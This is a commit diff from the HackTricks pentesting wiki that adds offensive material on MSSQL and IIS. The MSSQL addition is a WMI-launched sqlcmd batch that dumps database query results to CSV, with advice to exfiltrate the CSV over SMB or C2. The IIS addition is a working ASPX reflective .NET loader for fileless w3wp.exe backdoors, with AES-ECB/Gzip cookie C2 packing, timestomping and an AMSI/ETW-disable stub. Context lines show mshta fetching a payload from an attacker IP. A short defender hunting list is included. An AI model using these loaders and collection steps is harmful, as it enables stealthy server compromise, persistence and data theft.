Skip to content

Commit 1a1b63f

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents 1dfdae2 + 763f781 commit 1a1b63f

File tree

6 files changed

+154
-5
lines changed

6 files changed

+154
-5
lines changed

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -104,6 +104,7 @@
104104

105105
# 🐧 Linux Hardening
106106

107+
- [Linux Basics](linux-hardening/linux-basics.md)
107108
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
108109
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
109110
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)

src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
22

3-
{{#include ../../../banners/hacktricks-training.md}}
3+
{{#include ../banners/hacktricks-training.md}}
44

55
## Overview
66

@@ -196,4 +196,4 @@ int main(){
196196
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
197197
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
198198

199-
{{#include ../../../banners/hacktricks-training.md}}
199+
{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
22

3-
{{#include ../../../banners/hacktricks-training.md}}
3+
{{#include ../../banners/hacktricks-training.md}}
44

55
This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
66

@@ -210,4 +210,4 @@ Notes for exploitation research
210210
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
211211
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
212212

213-
{{#include ../../../banners/hacktricks-training.md}}
213+
{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -253,6 +253,41 @@ mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec ho
253253
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
254254
```
255255

256+
### WMI-based remote SQL collection (sqlcmd + CSV export)
257+
258+
Operators can pivot from an IIS/app tier to SQL Servers using WMI to execute a small batch that authenticates to MSSQL and runs ad‑hoc queries, exporting results to CSV. This keeps collection simple and blends with admin activity.
259+
260+
Example mssq.bat
261+
```bat
262+
@echo off
263+
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
264+
set S=%1
265+
set U=%2
266+
set P=%3
267+
set Q=%4
268+
set O=%5
269+
rem Remove headers, trim trailing spaces, CSV separator = comma
270+
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
271+
```
272+
273+
Invoke it remotely with WMI
274+
```cmd
275+
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
276+
```
277+
278+
PowerShell alternative
279+
```powershell
280+
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
281+
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
282+
```
283+
284+
Notes
285+
- sqlcmd may be missing; fall back to osql, PowerShell Invoke-Sqlcmd, or a one‑liner using System.Data.SqlClient.
286+
- Use quoting carefully; long/complex queries are easier to supply via a file or Base64‑encoded argument decoded inside the batch/PowerShell stub.
287+
- Exfil the CSV via SMB (e.g., copy from \\SQLHOST\C$\Windows\Temp) or compress and move through your C2.
288+
289+
290+
256291
### Get hashed passwords
257292

258293
```bash
@@ -631,6 +666,18 @@ You probably will be able to **escalate to Administrator** following one of thes
631666
632667
## References
633668
669+
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
670+
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
671+
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
672+
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
673+
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
674+
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
675+
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
676+
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
677+
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
678+
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
679+
680+
634681
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
635682
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
636683
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

src/network-services-pentesting/pentesting-web/iis-internet-information-services.md

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -229,8 +229,105 @@ If you have filesystem or interactive access on the web server, co-located keys
229229

230230
With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.
231231

232+
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
233+
234+
The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.
235+
236+
Key building blocks
237+
- ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
238+
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., "STAR") for chunking.
239+
- Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
240+
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
241+
- Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
242+
- Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.
243+
244+
Minimal ASPX loader pattern
245+
```aspx
246+
<%@ Page Language="C#" %>
247+
<%@ Import Namespace="System" %>
248+
<%@ Import Namespace="System.IO" %>
249+
<%@ Import Namespace="System.IO.Compression" %>
250+
<%@ Import Namespace="System.Reflection" %>
251+
<script runat="server">
252+
protected void Page_Load(object sender, EventArgs e){
253+
// 1) Obtain payload bytes (hard‑coded blob or from request)
254+
string b64 = /* hardcoded or Request["d"] */;
255+
byte[] blob = Convert.FromBase64String(b64);
256+
// optional: decrypt here if AES is used
257+
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
258+
using(var ms = new MemoryStream()){
259+
gz.CopyTo(ms);
260+
var asm = Assembly.Load(ms.ToArray());
261+
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
262+
var t = asm.GetType("ServerRun");
263+
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
264+
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
265+
m.Invoke(inst, new object[]{ HttpContext.Current });
266+
}
267+
}
268+
}
269+
</script>
270+
```
271+
272+
Packing/crypto helpers (Gzip + AES‑ECB + Base64)
273+
```csharp
274+
using System.Security.Cryptography;
275+
276+
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
277+
using(var aes = Aes.Create()){
278+
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
279+
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
280+
return t.TransformFinalBlock(data, 0, data.Length);
281+
}
282+
}
283+
284+
static string Pack(object obj, byte[] key){
285+
// serialize → gzip → AES‑ECB → Base64
286+
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
287+
using var ms = new MemoryStream();
288+
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
289+
byte[] enc = AesEcb(ms.ToArray(), key, true);
290+
return Convert.ToBase64String(enc);
291+
}
292+
293+
static T Unpack<T>(string b64, byte[] key){
294+
byte[] enc = Convert.FromBase64String(b64);
295+
byte[] cmp = AesEcb(enc, key, false);
296+
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
297+
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
298+
return Deserialize<T>(outMs.ToArray());
299+
}
300+
```
301+
302+
Cookie/session flow and command surface
303+
- Session bootstrap and tasking are carried via cookies to blend with normal web activity.
304+
- Commands observed in the wild included: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for in‑memory .NET execution.
305+
306+
Timestomping utility
307+
```csharp
308+
File.SetCreationTime(path, ts);
309+
File.SetLastWriteTime(path, ts);
310+
File.SetLastAccessTime(path, ts);
311+
```
312+
313+
Inline AMSI/ETW disable before Assembly.Load (loader variant)
314+
```csharp
315+
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
316+
// and ntdll!EtwEventWrite to a stub; then load operator assembly
317+
DisableAmsi();
318+
DisableEtw();
319+
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
320+
```
321+
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
322+
323+
Hunting notes (defenders)
324+
- Single, odd ASPX page with very long Base64/Gzip blobs; cookie‑heavy posts.
325+
- Unbacked managed modules inside w3wp.exe; strings like Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
326+
- Repeated delimiters like "STAR" in traffic; mismatched or even future timestamps on ASPX/assemblies.
327+
232328
## Old IIS vulnerabilities worth looking for
233329

330+
234331
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
235332

236333
You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\
@@ -300,4 +397,9 @@ HTTP/1.1 401 Unauthorized
300397
HTTP/1.1 200 OK
301398
```
302399

400+
## References
401+
402+
- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
403+
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
404+
303405
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)